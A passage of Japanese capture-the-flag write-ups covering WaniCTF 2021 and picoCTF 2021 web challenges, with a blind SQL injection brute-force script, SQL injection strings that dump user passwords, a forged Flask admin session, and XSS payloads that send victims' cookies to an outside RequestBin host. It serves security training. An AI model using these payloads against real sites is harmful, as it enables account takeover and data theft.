        "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ=="
      ],
      "X-Amzn-Trace-Id": [
        "Root=1-608d57ff-61204f91720c7998172a9357"
      ],
      "X-Forwarded-For": [
        "14.3.175.134, 130.176.3.71"
      ],
      "X-Forwarded-Port": [
        "443"
      ],
      "X-Forwarded-Proto": [
        "https"
      ]
    },
    "queryStringParameters": null,
    "multiValueQueryStringParameters": null,
    "pathParameters": null,
    "stageVariables": null,
    "requestContext": {
      "resourcePath": "/hello",
      "httpMethod": "POST",
      "extendedRequestId": "epqv7ELIIAMFaow=",
      "requestTime": "01/May/2021:13:30:39 +0000",
      "path": "/Prod/hello",
      "protocol": "HTTP/1.1",
      "stage": "Prod",
      "domainPrefix": "boakqtdih8",
      "requestTimeEpoch": 1619875839404,
      "requestId": "ebda79ff-238f-4dbc-bfe2-6ffb9bc90127",
      "identity": {
        "cognitoIdentityPoolId": null,
        "accountId": null,
        "cognitoIdentityId": null,
        "caller": null,
        "sourceIp": "14.3.175.134",
        "principalOrgId": null,
        "accessKey": null,
        "cognitoAuthenticationType": null,
        "cognitoAuthenticationProvider": null,
        "userArn": null,
        "userAgent": "Amazon CloudFront",
        "user": null
      },
      "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
      "apiId": "boakqtdih8"
    },
    "body": "{\"name\":[]}",
    "isBase64Encoded": false
  },
  "flag": "FLAG{b4d_excep7ion_handl1ng}"
}

FLAG{b4d_excep7ion_handl1ng}

watch animal

スーパーかわいい動物が見れるWebサービスを作ったよ。
wanictf21spring@gmail.com
のメアドの人のパスワードがフラグです。
https://watch.web.wanictf.org/

https://watch.web.wanictf.org/ にアクセスすると、メールアドレスとパスワードの入力を求められる。

試しに以下のように入力してみると、ログインすることができた。

  • メールアドレス: wanictf21spring@gmail.com' --
  • パスワード: A

今回は、パスワードを特定したいので、ブラインド SQL インジェクションを行う。 以下の入力でもログインできたので、後は1文字ずつ特定していけばよい。

  • メールアドレス: wanictf21spring@gmail.com' /*
  • パスワード: */ AND password LIKE 'FLAG{%

1文字ずつパスワードを特定するスクリプトを作成した。

import requests
import string

def check_login(flag):
    url = 'https://watch.web.wanictf.org/'
    email = "wanictf21spring@gmail.com' /*"
    password = f"*/ AND password LIKE '{flag}%"
    response = requests.post(url, {'email': email, 'password': password})
    return 'Login Failed' not in response.text

def main():
    flag = 'FLAG{'
    chars = string.ascii_letters + string.digits + '_-.$@!?{}'

    while True:
        for ch in chars:
            if ch == '_':
                ch = '\_'
            if check_login(flag + ch):
                flag += ch
                break

        print(flag)
        if flag[-1] == '}':
            break

if __name__=='__main__':
    main()
$ python3 solve.py
F
FL
FLA
FLAG
FLAG{
FLAG{b
FLAG{bl
FLAG{bl1
FLAG{bl1n
FLAG{bl1nd
FLAG{bl1ndS
FLAG{bl1ndSQ
FLAG{bl1ndSQL
FLAG{bl1ndSQLi
FLAG{bl1ndSQLi}

FLAG{bl1ndSQLi}

Wani Request 2

XSS Challenge !!
https://request2.web.wanictf.org/
チャレンジは二つです。
あどみんちゃんのクッキーを手に入れてください。
Wani Request 1 と同じくRequestBinなどを利用してみましょう。
web-wani-request-2.zip

Wani Request 1 と同様に RequestBin を使ってリクエストを待ち受けておく。

まずは、page1 のチャレンジから解いていく。
色々試した結果、page1 は、以下のパラメータで XSS ができた。

https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=alert(1);>

今回は、Cookie を入手することなので、window.open() を使って cookie を RequestBin に送信させる。

https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);>

実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。

flag1: FLAG{y0u_4r3_x55

次に、page2 のチャレンジを解く。
以下のように入力してクリックすると、アラートが表示された。

javascript:alert(1)

よって、page1 と同様に入力することで、Cookie を送信させることができる。

javascript:window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);

実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。

flag2: -60d_c75a4c80cf07}

FLAG{y0u_4r3_x55-60d_c75a4c80cf07}

CloudFront Basic Auth

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
重要なエンドポイントにはBasic認証をつけてみました。
https://cf-basic.web.wanictf.org/
ヒント: 上のURLにアクセスするとexceptionと同じ見た目のWebアプリが表示されますが、添付されているzipファイルにはexceptionの添付ファイルから新しいファイルが追加されています。添付ファイルを参考にもう一つのFLAGを発見してください!
web-cf-basic.zip

template.yaml というファイルが追加されている。 内容を確認してみると、以下のコメントが書かれていた。よって、FQDN が分かれば、admin ページを表示させることができそうだと分かる。

CacheBehaviors:
  # "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用
  - PathPattern: admin
    AllowedMethods:
      - HEAD
      - GET
    CachedMethods:
      - HEAD
      - GET
    TargetOriginId: ApiGateway
    ViewerProtocolPolicy: redirect-to-https
    # Basic認証
    LambdaFunctionAssociations:
      - EventType: viewer-request
        LambdaFunctionARN: !Ref BasicAuthFunction.Version

exception 問題と同様に例外を発生させて、エラーメッセージを確認すると、boakqtdih8.execute-api.us-east-1.amazonaws.com と書かれていた。

$ curl https://cf-basic.web.wanictf.org/hello -X POST -H "Content-Type: application/json" -d '{"name":[]}' --silent | jq . | grep execute-api
      "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
        "boakqtdih8.execute-api.us-east-1.amazonaws.com"
      "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com",

FQDN が判明したので、以下のようにアクセスすると、フラグが表示された。

$ curl https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin
FLAG{ap1_g4teway_acc3ss_con7rol}

FLAG{ap1_g4teway_acc3ss_con7rol}

picoCTF 2021 Writeup

picoCTF 2021 について

picoCTF 2021が開催されました。
2021年3月17日午前1時 ~ 2021年3月31日午前4時(2週間)

picoctf.org

2019年同様、picoCTF に参加してきました。難易度は低く、前回に比べて変わった問題が少なくなったような気がします。

今回も1人で参加しました。結果は、66/6215位で 6150点でした。前回と違い平日にあまり時間を取れなかったので、もう少し時間が欲しかったです。88問中 68問解くことができたので、その Writeup を紹介します。

f:id:tsalvia:20210406094311p:plain

f:id:tsalvia:20210406094402p:plain

picoCTF 2021 Writeup(全68問)

picoCTF 公式より

Note that I recommend not hardcoding specific challenge URLs and ports in writeups as these are randomized per player and subject to change.

URLやポート番号はランダムに変更される可能性があるそうなので、適宜読み替えてください。

Web Exploitation(16問)

Ancient History - 10 points

I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:42332/ (try a couple different browsers if it's not working right)

http://mercury.picoctf.net:42332/index.html のページのソースをみると、window.history.pushState で履歴を追加している処理が確認できる。
index.html? 以降の文字を並べるとフラグになる。

f:id:tsalvia:20210330153346p:plain

picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}

GET aHEAD - 20 points

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:21939/

http://mercury.picoctf.net:21939/index.php にアクセスすると、Red か Blue を選択する画面が表示される。

http://mercury.picoctf.net:21939/index.php のページのソースを確認すると、 GETメソッドでのアクセスで赤い背景、POSTメソッドでのアクセスで青い背景に変化するということが分かる。

<form action="index.php" method="GET">
    <input type="submit" value="Choose Red"/>
</form>
<form action="index.php" method="POST">
    <input type="submit" value="Choose Blue"/>
</form>

問題タイトルが GET aHEAD なので、HEADメソッドでアクセスしてみると、フラグが表示された。

$ curl --head http://mercury.picoctf.net:21939/index.php
HTTP/1.1 200 OK
flag: picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
Content-type: text/html; charset=UTF-8

picoCTF{r3j3ct_th3_du4l1ty_6ef27873}

Cookies - 40 points

Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/

http://mercury.picoctf.net:17781/ にアクセスして、
snickerdoodle と入力すると、I love snickerdoodle cookies!と表示される。

このときの Cookie を EditThisCookie で確認すると、name=0 になっていた。

f:id:tsalvia:20210330155552p:plain

name=1 に変えてみると、別のメッセージが表示された。

Cookie の name の値を増やしていくスクリプトを書いて実行すると、
name=18 のときにフラグが表示された。

#!/bin/bash
for i in `seq 0 20`;
do
    echo -n $i
    curl --cookie "name=$i" --data "name=snickerdoodle" --silent -L http://mercury.picoctf.net:17781/search | grep "<b>"
done
$ ./solve.sh
0            <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p>
1            <p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p>
2            <p style="text-align:center; font-size:30px;"><b>I love oatmeal raisin cookies!</b></p>
3            <p style="text-align:center; font-size:30px;"><b>I love gingersnap cookies!</b></p>
4            <p style="text-align:center; font-size:30px;"><b>I love shortbread cookies!</b></p>
5            <p style="text-align:center; font-size:30px;"><b>I love peanut butter cookies!</b></p>
6            <p style="text-align:center; font-size:30px;"><b>I love whoopie pie cookies!</b></p>
7            <p style="text-align:center; font-size:30px;"><b>I love sugar cookies!</b></p>
8            <p style="text-align:center; font-size:30px;"><b>I love molasses cookies!</b></p>
9            <p style="text-align:center; font-size:30px;"><b>I love kiss cookies!</b></p>
10            <p style="text-align:center; font-size:30px;"><b>I love biscotti cookies!</b></p>
11            <p style="text-align:center; font-size:30px;"><b>I love butter cookies!</b></p>
12            <p style="text-align:center; font-size:30px;"><b>I love spritz cookies!</b></p>
13            <p style="text-align:center; font-size:30px;"><b>I love snowball cookies!</b></p>
14            <p style="text-align:center; font-size:30px;"><b>I love drop cookies!</b></p>
15            <p style="text-align:center; font-size:30px;"><b>I love thumbprint cookies!</b></p>
16            <p style="text-align:center; font-size:30px;"><b>I love pinwheel cookies!</b></p>
17            <p style="text-align:center; font-size:30px;"><b>I love wafer cookies!</b></p>
18            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}</code></p>
19            <p style="text-align:center; font-size:30px;"><b>I love macaroon cookies!</b></p>
20            <p style="text-align:center; font-size:30px;"><b>I love fortune cookies!</b></p>

picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}

Scavenger Hunt - 50 points

There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?

分割されたフラグが、さまざまなページにコメントとして書かれている。

<!-- Here's the first part of the flag: picoCTF{t -->
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
# Part 3: t_0f_pl4c
# Part 4: 3s_2_lO0k
Congrats! You completed the scavenger hunt. Part 5: _7a46d25d}

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}

Who are you? - 60 points

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/

http://mercury.picoctf.net:1270/ にアクセスすると、条件が順に表示される。

  1. Only people who use the official PicoBrowser are allowed on this site!
  2. I don't trust users visiting from another site.
  3. Sorry, this site only worked in 2018.
  4. I don't trust users who can be tracked.
  5. This website is only for people from Sweden.
  6. You're in Sweden but you don't speak Swedish?
  7. What can I say except, you are welcome

適切なヘッダとプロキシを設定して HTTP リクエストを送信すると、フラグを含むレスポンスが返ってきた。 (プロキシは、適当に検索して出てきたスウェーデンのサーバを指定した)

curl -i -X GET \
   -H "User-Agent:PicoBrowser" \
   -H "Referer:http://mercury.picoctf.net:1270/" \
   -H "Date:Mon, 01 Jan 2018 00:00:00 GMT" \
   -H "DNT:1" \
   -x http://185.186.78.10:3128 \
   -H "Accept-Language:sv" \
 'http://mercury.picoctf.net:1270/'

picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}

Some Assembly Required 1 - 70 points

http://mercury.picoctf.net:55336/index.html

Chrome DevTools の Network を見ていると、G82XCw5CX3.js から JIFxzHyW8W というファイルがダウンロードされていることが分かる。

f:id:tsalvia:20210330163324p:plain

http://mercury.picoctf.net:55336/JIFxzHyW8W をダウンロードして、
strings で文字列を確認すると、フラグが見つかった。

$ wget http://mercury.picoctf.net:55336/JIFxzHyW8W
$ strings JIFxzHyW8W
memory
__wasm_call_ctors
strcmp
check_flag
input
        copy_char
__dso_handle
__data_end
__global_base
__heap_base
__memory_base
__table_base
j!
  F!!A
!" ! "q!# #
!% $ %q!&
!( ' (q!) & )k!*
!+ +
        q!
+picoCTF{51e513c498950a515b1aab5e941b2615}

picoCTF{51e513c498950a515b1aab5e941b2615}

It is my Birthday - 100 points

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/

MD5ハッシュ値の衝突に関する問題

以下のリポジトリから、poeMD5_A.pdf と poeMD5_B.pdf をダウンロードして、http://mercury.picoctf.net:11590/ にアップロードすると、フラグが表示された。

github.com

picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}

Some Assembly Required 2 - 110 points

http://mercury.picoctf.net:61778/index.html

Some Assembly Required 1 と同様の手順で、
aD8SvhyVkb というファイルをダウンロードする。

$ wget http://mercury.picoctf.net:61778/aD8SvhyVkb

strings をすると、今度は以下のように出力された。

$ strings aD8SvhyVkb
memory
__wasm_call_ctors
strcmp
check_flag
input
        copy_char
__dso_handle
__data_end
__global_base
__heap_base
__memory_base
__table_base
j!       
  F!!A
!" ! "q!# #
!% $ %q!& 
!( ' (q!) & )k!* 
!+ +
        q!
+xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu

xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=luCyberChef の XOR Brute Force してみると、フラグを取得することができた。

picoCTF{ b2d14eaec72c31305075876bff2b5d}

Super Serial - 130 points

Try to recover the flag stored on this website http://mercury.picoctf.net:5428/

Hints を見てみると、「The flag is at ../flag」と書かれていた。

http://mercury.picoctf.net:5428/../flag ではアクセスできなかった。
..%2e%2e に書き換えてみると、../flag にアクセスすることができた。

$ curl mercury.picoctf.net:5428/%2e%2e/flag
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}

Most Cookies - 150 points

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/

server.py を見てみると、Flask でセッション管理されていることが分かる。

secret_key が分かれば、任意のセッションを生成することができる。 secret_key は、cookie_names から1つランダムにピックアップしたものを使用している。

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

very_auth を admin に設定することができれば、フラグが表示される。

@app.route("/display", methods=["GET"])
def flag():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "admin":
            resp = make_response(render_template("flag.html", value=flag_value, title=title))
            return resp
        flash("That is a cookie! Not very special though...", "success")
        return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

まず、http://mercury.picoctf.net:65344/display にアクセスして Cookie を取得する。
取得した Cookie の session を以下のスクリプトに記載し、実行すると {'very_auth': 'admin'} 用の session を生成することができる。

#!/usr/bin/env python3
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer


class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )


class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)


def main():
    cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFhrmA.wnld-Xp-OJ432MAXrpuV7DUIvog' # set session

    cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz",
                    "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

    for secret_key in cookie_names:
        try:
            print(FlaskSessionCookieManager.decode(secret_key, cookie))
            session = {'very_auth': 'admin'}
            print(FlaskSessionCookieManager.encode(secret_key, session))
        except Exception:
            pass


if __name__ == '__main__':
    main()
$ python3 solve.py 
{'very_auth': 'blank'}
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YFe4og.o5psPaSKi0bXgRiPeo8MgeJRmwY

生成された session を Cookie に設定して、http://mercury.picoctf.net:65344/display にアクセスすると、フラグが表示された。

picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}

Some Assembly Required 3 - 160 points

http://mercury.picoctf.net:38541/index.html

Some Assembly Required 1 と同様の手順で、
qCCYI0ajpD というファイルをダウンロードする。

$ wget http://mercury.picoctf.net:38541/qCCYI0ajpD

file コマンドでファイルの種類を確認すると、WebAssembly であることが分かる。

$ file qCCYI0ajpD
qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)

wabt の wasm-decompile を使って処理を確認する。

github.com

$ wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz
$ tar xvf wabt-1.0.23-ubuntu.tar.gz
$ ./wabt-1.0.23/bin/wasm-decompile qCCYI0ajpD -o qCCYI0ajpD.dcmp
export memory memory(initial: 2, max: 0);

global g_a:int = 66864;
export global input:int = 1072;
export global key:int = 1067;
export global dso_handle:int = 1024;
export global data_end:int = 1328;
export global global_base:int = 1024;
export global heap_base:int = 66864;
export global memory_base:int = 0;
export global table_base:int = 1;

table T_a:funcref(min: 1, max: 1);

data d_nAcdbf1a(offset: 1024) = 
  "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4"
  "\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00";
data d_b(offset: 1067) = "\f1\a7\f0\07\ed";

export function wasm_call_ctors() {
}

export function strcmp(a:int, b:int):int {
  var c:int = g_a;
  var d:int = 32;
  var e:int = c - d;
  e[6]:int = a;
  e[5]:int = b;
  var f:int = e[6]:int;
  e[4]:int = f;
  var g:int = e[5]:int;
  e[3]:int = g;
  loop L_b {
    var h:ubyte_ptr = e[4]:int;
    var i:int = 1;
    var j:int = h + i;
    e[4]:int = j;
    var k:int = h[0];
    e[11]:byte = k;
    var l:ubyte_ptr = e[3]:int;
    var m:int = 1;
    var n:int = l + m;
    e[3]:int = n;
    var o:int = l[0];
    e[10]:byte = o;
    var p:int = e[11]:ubyte;
    var q:int = 255;
    var r:int = p & q;
    if (r) goto B_c;
    var s:int = e[11]:ubyte;
    var t:int = 255;
    var u:int = s & t;
    var v:int = e[10]:ubyte;
    var w:int = 255;
    var x:int = v & w;
    var y:int = u - x;
    e[7]:int = y;
    goto B_a;
    label B_c:
    var z:int = e[11]:ubyte;
    var aa:int = 255;
    var ba:int = z & aa;
    var ca:int = e[10]:ubyte;
    var da:int = 255;
    var ea:int = ca & da;
    var fa:int = ba;
    var ga:int = ea;
    var ha:int = fa == ga;
    var ia:int = 1;
    var ja:int = ha & ia;
    if (ja) continue L_b;
  }
  var ka:int = e[11]:ubyte;
  var la:int = 255;
  var ma:int = ka & la;
  var na:int = e[10]:ubyte;
  var oa:int = 255;
  var pa:int = na & oa;
  var qa:int = ma - pa;
  e[7]:int = qa;
  label B_a:
  var ra:int = e[7]:int;
  return ra;
}

// <snip>

function copy(a:int, b:int) {
  var c:int = g_a;
  var d:int = 16;
  var e:int_ptr = c - d;
  e[3] = a;
  e[2] = b;
  var f:int = e[3];
  if (eqz(f)) goto B_a;
  var g:int = 4;
  var h:int = e[2];
  var i:int = 5;
  var j:int = h % i;
  var k:ubyte_ptr = g - j;
  var l:int = k[1067];
  var m:int = 24;
  var n:int = l << m;
  var o:int = n >> m;
  var p:int = e[3];
  var q:int = p ^ o;
  e[3] = q;
  label B_a:
  var r:int = e[3];
  var s:byte_ptr = e[2];
  s[1072] = r;
}

copy で入力した文字列を XOR で暗号化してメモリに展開し、strcmp で比較している。 copy を参考に復号用のスクリプトを作成した。

enc_flag = b'\x9d\x6e\x93\xc8\xb2\xb9\x41\x8b\x90\xc2\xdd\x63\x93\x93\x92\x8f\x64\x92\x9f\x94\xd5\x62\x91\xc5\xc0\x8e\x66\xc4\x97\xc0\x8f\x31\xc1\x90\xc4\x8b\x61\xc2\x94\xc9\x90\x00\x00'
key = b'\xf1\xa7\xf0\x07\xed'

flag = ''
for i in range(len(enc_flag)):
    dec = enc_flag[i] ^ key[4 - i % 5]
    flag += chr(dec)

print(flag)
$ python3 solve.py
picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}ð

picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}

Web Gauntlet 2 - 170 points

This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:61434/ Filter: http://mercury.picoctf.net:61434/filter.php

SQLインジェクション系の問題

フィルタが設定されており、以下の文字列を入力するとエラーになる。

Filters: or and true false union like = > < ; -- /* */ admin

以下のようになるように Username と Password を入力すると、サインインできる。

SELECT username, password FROM users WHERE username='admi' || 'n' AND password='' GLOB '*'
  • Username: admi' || 'n
  • Password: ' GLOB '*

サインイン後、filter.php にアクセスすると、フラグとソースコードが表示された。

<?php
session_start();

if (!isset($_SESSION["winner2"])) {
    $_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

if ($win === 0) {
    $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
    if ($view) {
        echo "Filters: ".implode(" ", $filter)."<br/>";
    }
} else if ($win === 1) {
    if ($view) {
        highlight_file("filter.php");
    }
    $_SESSION["winner2"] = 0;        // <- Don't refresh!
} else {
    $_SESSION["winner2"] = 0;
}

// picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
?>

picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}

Startup Company - 180 points

Do you want to fund my startup? http://mercury.picoctf.net:44720/

Register でユーザ登録すると、寄付金の入力画面が出てくる。 数値を入力して、「$Contribute$」と入力すると、「You're latest contribution: $」に入力した金額が表示された。

input タグの type="number" を削除して、' と入力すると、「Database error.」と表示された。 また、test と入力すると、金額表示のところに「test」という文字列が表示された。

<input type="number" id="moneys" name="moneys" class="form-control" placeholder="100" required="" autofocus="">

以上のことから、以下の3点が分かる。

  • UPDATE で金額を更新した後、SELECT でその結果を表示している。
  • 金額管理しているカラムは、数値ではなく文字列として管理されている。
  • ' でエラーになることから、おそらくSQLインジェクションができる。

以下のように入力すると、テーブル名一覧が表示された。

'||(SELECT GROUP_CONCAT(tbl_name) FROM sqlite_master)||'

f:id:tsalvia:20210331013045p:plain

取得したテーブル名を使って、テーブルの構成を表示させる。

'||(SELECT sql FROM sqlite_master WHERE tbl_name='startup_users')||'

f:id:tsalvia:20210331013320p:plain

取得した構成情報を基に、パスワード一覧を表示させると、フラグが表示された。

'||(SELECT GROUP_CONCAT(wordpass) FROM startup_users)||'

f:id:tsalvia:20210331013442p:plain

※ Register で登録したユーザのパスワードが別の人に推測されてしまった場合、問題を解いていない人がログインしただけでフラグが表示されてしまうので、最後に適当な数値を入力して、元に戻しておいたほうがよい。

picoCTF{1_c4nn0t_s33_y0u_107b7785}

Some Assembly Required 4 - 200 points

http://mercury.picoctf.net:6755/index.html

Some Assembly Required 1 と同様の手順で、 ZoRd23o0wd というファイルをダウンロードする。

$ wget http://mercury.picoctf.net:6755/ZoRd23o0wd

Some Assembly Required 3 と同様の手順でデコンパイルしてみたが、読みづらかったので、今度は別の方法で解析を進めた。

wabt の wasm2c で C言語ソースコードに変換して、コンパイルする。

$ ./wabt-1.0.23/bin/wasm2c ZoRd23o0wd -o ZoRd23o0wd.c
$ cp ./wabt-1.0.23/include/wasm-rt.h .
$ gcc -c  ZoRd23o0wd.c -o  ZoRd23o0wd.o

生成された ZoRd23o0wd.o を Ghidra に読み込ませて処理を確認する。

f:id:tsalvia:20210331020431p:plain

以下のような処理になっていた。

enc_flag = [
    0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 
    0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 
    0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 
    0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00,
]

input_data = [
    ord('p'), 
    ord('i'), 
    ord('c'), 
    ord('o'), 
    ord('C'), 
    ord('T'), 
    ord('F'), 
    ord('{'), 
    0
]

# encode data

i = 0
while True:
    if input_data[i] == 0:
        break

    input_data[i] = input_data[i] ^ 0x14

    if 0 < i:
        input_data[i] = input_data[i] ^ input_data[i-1]
    if 2 < i:
        input_data[i] = input_data[i] ^ input_data[i-3]

    input_data[i] = input_data[i] ^ i % 10

    if i % 2 == 0:
        input_data[i] = input_data[i] ^ 9
    else:
        input_data[i] = input_data[i] ^ 8

    if i % 3 == 0:
        input_data[i] = input_data[i] ^ 7
    else:
        if i % 3 == 1:
            input_data[i] = input_data[i] ^ 6
        else: 
            input_data[i] = input_data[i] ^ 5
    i += 1

# swap input_data

j = 0
while True:
    if i <= j:
        break

    if j % 2 == 0:
        if j + 1 < i:
            tmp = input_data[j]
            input_data[j] = input_data[j + 1]
            input_data[j + 1] = tmp
    
    j += 1

print('enc_flag:  ', enc_flag)
print('input_data:', input_data)

試しに picoCTF{ まで指定してみると、途中まで一致した。

$ python3 test.py
enc_flag:   [24, 106, 124, 97, 17, 56, 105, 55, 24, 9, 121, 14, 104, 27, 3, 63, 7, 19, 66, 38, 96, 109, 27, 93, 115, 4, 108, 71, 82, 53, 93, 23, 31, 115, 51, 56, 64, 81, 119, 87, 81, 0, 0]
input_data: [24, 106, 124, 97, 17, 56, 105, 55, 0]

上記のスクリプト整理して総当たりでフラグを求めるようにする。

import string


def encode(data):
    i = 0
    while True:
        if data[i] == 0:
            break

        data[i] = data[i] ^ 0x14

        if 0 < i:
            data[i] = data[i] ^ data[i-1]
        if 2 < i:
            data[i] = data[i] ^ data[i-3]

        data[i] = data[i] ^ i % 10

        if i % 2 == 0:
            data[i] = data[i] ^ 9
        else:
            data[i] = data[i] ^ 8

        if i % 3 == 0:
            data[i] = data[i] ^ 7
        else:
            if i % 3 == 1:
                data[i] = data[i] ^ 6
            else:
                data[i] = data[i] ^ 5
        i += 1
    return data


def swap(data):
    for i in range(0, len(data) - 1, 2):
        data[i], data[i+1] = data[i+1], data[i]
    return data


def str2array(s):
    data = [0] * (len(s) + 1)
    for i, ch in enumerate(s):
        data[i] = ord(ch)
    return data


def main():
    enc_flag = [
        0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e,
        0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d,
        0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38,
        0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00,
    ]

    swaped_enc_flag = swap(enc_flag)

    flag = 'picoCTF{'
    while True:
        for ch in string.printable + '\x00':
            enc_data = encode(str2array(flag + ch))
            size = len(flag) + 1

            if all([enc_data[i] == swaped_enc_flag[i] for i in range(size)]):
                flag += ch
                break

        if ch == '\x00':
            break

    print('swaped_enc_flag:', swaped_enc_flag)
    print('enc_data:       ', enc_data)
    print('flag:', flag)


if __name__ == '__main__':
    main()
$ python3 solve.py
swaped_enc_flag: [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 81, 0]
enc_data:        [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 0, 0]
flag: picoCTF{a4dfbd29e50d01f1a513903dfceda44c,

swap している関係で少しフラグがずれているが、最後の文字列は } になるはずなので、そこだけ書き換えてフラグを入力すると、「Correct!」と表示された。

picoCTF{a4dfbd29e50d01f1a513903dfceda44c}

X marks the spot - 250 points

Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:53735/

